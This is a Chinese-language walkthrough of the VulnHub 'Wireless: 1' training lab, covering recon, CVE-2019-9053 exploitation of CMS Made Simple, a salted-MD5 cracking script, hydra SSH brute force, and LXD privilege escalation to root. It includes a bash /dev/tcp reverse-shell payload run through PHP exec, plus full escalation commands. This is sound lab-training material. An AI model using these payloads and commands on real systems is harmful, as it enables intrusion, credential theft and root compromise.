vulnhub靶场之WIRELESS: 1
准备:
攻击机:虚拟机kali、本机win10。
靶机:Wireless: 1,下载地址:https://download.vulnhub.com/wireless/Mystiko-Wireless.rar,下载后直接vm打开即可。
知识点:lxd提权、密码字典生成、hydra爆破、dns解析、SMS信息解密、cve-2019-9053漏洞。

一:信息收集
1.nmap扫描
使用nmap扫描下靶机地址,命令:nmap -sn 192.168.0.0/24,发现靶机地址:192.168.0.11。

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.0.11,显示开放了22端口、80端口、8000端口、8080端口,开启了ssh服务、http服务

2.目录扫描
使用gobuster进行目录扫描,命令:gobuster dir -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.0.11,但是未发现有效信息。扫描其8000端口时,扫描失败。


3.web访问
通过web访问8000端口时,在首页发现了一个邮箱信息:jinmori@voip.in,猜测用户名是:jinmori。

在首页中发现登录页面:http://192.168.0.11:8000/login,然后在其源码信息中发现:http://192.168.0.11:8000/static/js/login.js文件,读取该文件信息。

直接在浏览器中右键检查中的console中执行代码,然后输出delog,命令:console.log(delog);

得到一个新的输出,将执行的结果继续执行,然后输出p,命令:console.log(p);,成功获得一串字符串,猜测是密码信息:Taekwondo。

二:信息利用
1.SMS信息解密
利用获得账户信息:jinmori/Taekwondo登录web系统,然后在其viop logs中发现SMS信息。

使用sms信息解密网站:https://www.smsdeliverer.com/online-sms-pdu-decoder.aspx对sms信息进行解密,成功获得提示信息,告诉我们要访问8080服务,还需要进行dns解析。

2.dns解析
win:打开C:\Windows\System32\drivers\etc\hosts文件,添加:192.168.0.11 wireless.com。linux:打开/etc/hosts文件,添加:192.168.0.11 wireless.com。然后访问:http://wireless.com:8080/,返回信息告诉我们内部门户v1。后面在访问:http://wireless.com/时发现是CMS Made Simple框架,在其首页发现框架的版本信息:CMS Made Simple version 2.2.9。


使用searchsploit搜索下该框架版本的漏洞信息,发现存在sql注入漏洞。

3.目录扫描
使用gobuster进行目录扫描,命令:gobuster dir -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://wireless.com/,发现admin、tmp、config.php目录和文件。

三:获取shell
1.cve-2019-9053漏洞利用
直接使用该脚本进行漏洞利用,但是进行利用的时候发现一旦开启对密码明文信息的爆破该脚本就会报错,因此我这里就将爆破明文密码的那块代码单独拿出来了,只用该脚本其他信息,命令:python exp.py -u http://wireless.com/,成功获得salt:551c92a536111490、username:juniordev、加密的密码:a25bb9e6782e7329c236d2538dd4f5ac。

然后利用解密脚本对获得加密密码进行解密,这里为了方便测试直接写死了全部的参数,可以自行更改,执行完该脚本后成功获得密码:passion。
import hashlib
def crack_password():
password = 'a25bb9e6782e7329c236d2538dd4f5ac'
result = ''
salt = '551c92a536111490'
dict = open("C:\\Users\\86188\\Desktop\\pass.txt")
for line in dict.readlines():
line = line.replace("\n", "")
if str(hashlib.md5((str(salt) + line).encode("utf-8")).hexdigest()) == password:
result += "\n[+] Password cracked: " + line
break
dict.close()
print(result)
crack_password()

2.获取shell
利用获得的账户信息:juniordev/passion登录web页面,在web系统中的Extensions-user defined tags中发现可以执行代码,因此构造:exec("/bin/bash -c 'bash -i >&/dev/tcp/192.168.0.9/6688 0>&1'");进行shell反弹,成功获取shell权限。

四:8080端口利用
在上面虽然获得了shell权限,但是只在该权限中发现了coherer账户,未发现可以进行提权的信息点只能去8080端口看一下。但是我在8080端口也未发现有用的信息,在网上看了以下,发现存在一个子域名:testing.wireless.com,访问:http://testing.wireless.com:8080/服务时,返回的是一个登录页面,采用前面发现的账户信息:juniordev/passion可以直接登录到系统内。

在输入框中进行测试,当我们输入help时会回显我们可以执行的命令,可以执行的命令包含:tools、logs、whoami、clear、questions。当我们执行命令logs时返回了Network.data文件。

访问该文件是一个很长的一篇信息。

那我们就将Network.data文件生成字典,命令:cewl -m 4 http://testing.wireless.com:8080/static/Network.data > passwd,然后使用hydra进行爆破,命令:hydra ssh://192.168.0.11 -l coherer -P passwd,最终成功获得账户和密码信息:coherer/Induction。

使用获得的账户信息:coherer/Induction进行ssh登录,成功获得coherer权限的shell权限。

五:提权-root
在coherer的shell中发现coherer账户具有lxd权限,那我们就可以利用lxd进行提权,最终成功获得root权限。
#上传tar.gz文件,然后依次执行以下代码。百度网盘:链接:https://pan.baidu.com/s/1rJ61YRlLgEXGP-bUKPf7DA,提取码:upfn
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
lxd init #基本默认配置,进行回车就行
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

获得root权限后在/mnt/root/root目录下发现proof.txt,读取该文件成功获得flag值。

vulnhub靶场之WIRELESS: 1的更多相关文章
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Pandavas
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
- VulnHub靶场学习_HA:Forensics
HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...
- Vulnhub靶场——DC-1
记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...
随机推荐
- 127. Word Ladder via java
A classic BFS problem, that is, we use a Queue to store temporary solution and record the size of th ...
- Python从dic中随机取值
import random a = {'lab-1': '短视频', 'lab-1': '直播'} print(random.choice(list(a.keys()))) # 从keys的list中 ...
- C语言——数组
一.一维数组 声明形式: type arrayName [ arraySize ]; 实例: 1 #include <stdio.h> 2 int main() 3 { 4 int Arr ...
- nrm ls报错及npm镜像站点测速、切换
报错截图: 解决方法: 1.win键,搜索powershell,点击"以管理员身份运行" 2.粘贴下面命令,回车,敲y,回车 set-ExecutionPolicy RemoteS ...
- jmeter性能测试小小实践
一.测试步骤 测试计划 / 线程组 / http请求 / 监听器 / 运行脚本 / 查看报告 二.线程组 线程组:虚拟用户数 ramp up period:设置虚拟用户数需要多长的时间全部启动,如果线 ...
- STL二分查找算法
二分法检索又称折半检索,二分法检索的基本思想是设字典中的元素从小到大有序地存放在数组(array)中,首先将给定值key与字典中间位置上元素的关键码(key)比较,如果相等,则检索成功:否则,若key ...
- springmvc拦截器的简单创建
找到前端控制器配置文件: 配置拦截器: 实现接口,定义自己的规则:
- Js 代码递归实现树形数据与数组相互转换。
贴代码: // Grid->Tree 结构组装. var tree = []; this.setTreeData(table, tree, ""); //组装树形 setTr ...
- 实验2 C语言分支语句、循环语句应用编程
一.实验目的 掌握格式化输出函数printf()和格式化输入函数scanf()的用法 掌握单个字符输出函数putchar()和单个字符输入函数getchar()的用法 理解结构化程序设计的三种基本结构 ...
- [cisco]Configure private VLAN
vlan 100 private-vlan isolated ! vlan 200 private-vlan community ! vlan 300 private-vlan primary pri ...